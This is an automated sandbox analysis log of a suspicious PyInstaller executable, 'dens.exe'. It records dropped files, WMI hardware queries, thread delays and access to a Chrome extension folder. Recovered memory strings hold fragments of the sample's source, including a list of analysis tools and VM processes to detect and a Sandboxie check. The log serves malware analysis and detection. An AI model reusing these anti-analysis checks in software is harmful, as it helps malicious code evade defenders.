Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "WIRESHARK.EXE"
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1783070234.000002D9AC1C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776400001.000002D9AC1C1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2032462700.000002D9AC1BB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HANDLE = CTYPES.WINDLL.LOADLIBRARY("SBIEDLL.DLL")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3292
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 577
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 712

Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_brotli.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_helpers_c.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_parser.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_cffi_backend.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\frozenlist\_frozenlist.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_websocket.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\yarl\_quoting_c.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_http_writer.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\multidict\_multidict.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp\_helpers.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\dens.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI62482\_multiprocessing.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\dens.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-18054

Source: C:\Users\user\Desktop\dens.exe

API coverage: 5.5 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384	Thread sleep count: 3292 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6544	Thread sleep count: 577 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7324	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4588	Thread sleep count: 4938 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3732	Thread sleep count: 712 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5324	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Manufacturer FROM Win32_ComputerSystem
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct

Source: C:\Users\user\Desktop\dens.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F9280 FindFirstFileExW,FindClose,	0_2_00007FF62C0F9280
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF62C0F83C0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C111874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF62C111874
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F9280 FindFirstFileExW,FindClose,	1_2_00007FF62C0F9280
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C111874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	1_2_00007FF62C111874
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0F83C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	1_2_00007FF62C0F83C0

Source: C:\Users\user\Desktop\dens.exe

Code function: 1_2_00007FFDFAB811E0 GetSystemInfo,

1_2_00007FFDFAB811E0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: dens.exe, 00000001.00000003.2029829320.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052097478.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060887548.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047760361.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040630139.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: E: Hyper-V Guest Service
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe"
Source: dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe",
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe", # VMware
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop V
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmusrvc.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 7OvmwarePw
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe", # VirtualBox
Source: dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, net1.exe, 0000003D.00000002.1822300778.0000026B06DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: *Hyper-V Administrators
Source: dens.exe, 00000001.00000003.1701486676.000002D9AAD26000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041342997.000002D9AACF1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2042938657.000002D9AAD34000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2045840713.000002D9AAD35000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1699132510.000002D9AAD35000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2051391013.000002D9AAD35000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1697078084.000002D9AAD35000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2058860933.000002D9AAD35000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1696439960.000002D9AAD26000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2049260177.000002D9AAD35000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1703254242.000002D9AAD26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWwQ
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: self.banned_process = ["HTTP Toolkit.exe", "httpdebuggerui.exe","wireshark.exe", "fiddler.exe", "regedit.exe", "taskmgr.exe", "vboxservice.exe", "df5serv.exe", "processhacker.exe", "vboxtray.exe", "vmtoolsd.exe", "vmwaretray.exe", "ida64.exe", "ollydbg.exe",
Source: svchost.exe, 00000034.00000002.2910895034.000001DE8AE2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwaretray.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemu-ga.exe
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000004A.00000002.1851582241.000001DE20E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Heartbeat Service
Source: dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: elif b"vmware" in stdout2.lower():
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "qemu-ga.exe"P
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmwareuser.exe0
Source: svchost.exe, 00000034.00000002.2912409227.000001DE8C45C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe", # VirtualBox
Source: ROUTE.EXE, 00000047.00000002.1849023843.0000029FC3A07000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: dens.exe, 00000001.00000003.2054326320.000002D9ACD2A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040249734.000002D9ACD2A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066912837.000002D9ACD2A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036645214.000002D9ACD2A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Volume Shadow Copy Requestor
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Time Synchronization Service
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y_NAME: Hyper-V Volume Shadow Copy Requestor
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: mKVMwarev
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b"vmware"
Source: net1.exe, 0000003D.00000002.1822300778.0000026B06DB7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareuser.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe", # VMware
Source: dens.exe, 00000001.00000003.2029829320.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052097478.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060887548.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047760361.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040630139.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ME: Hyper-V Guest Shutdo\|
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxtray.exep
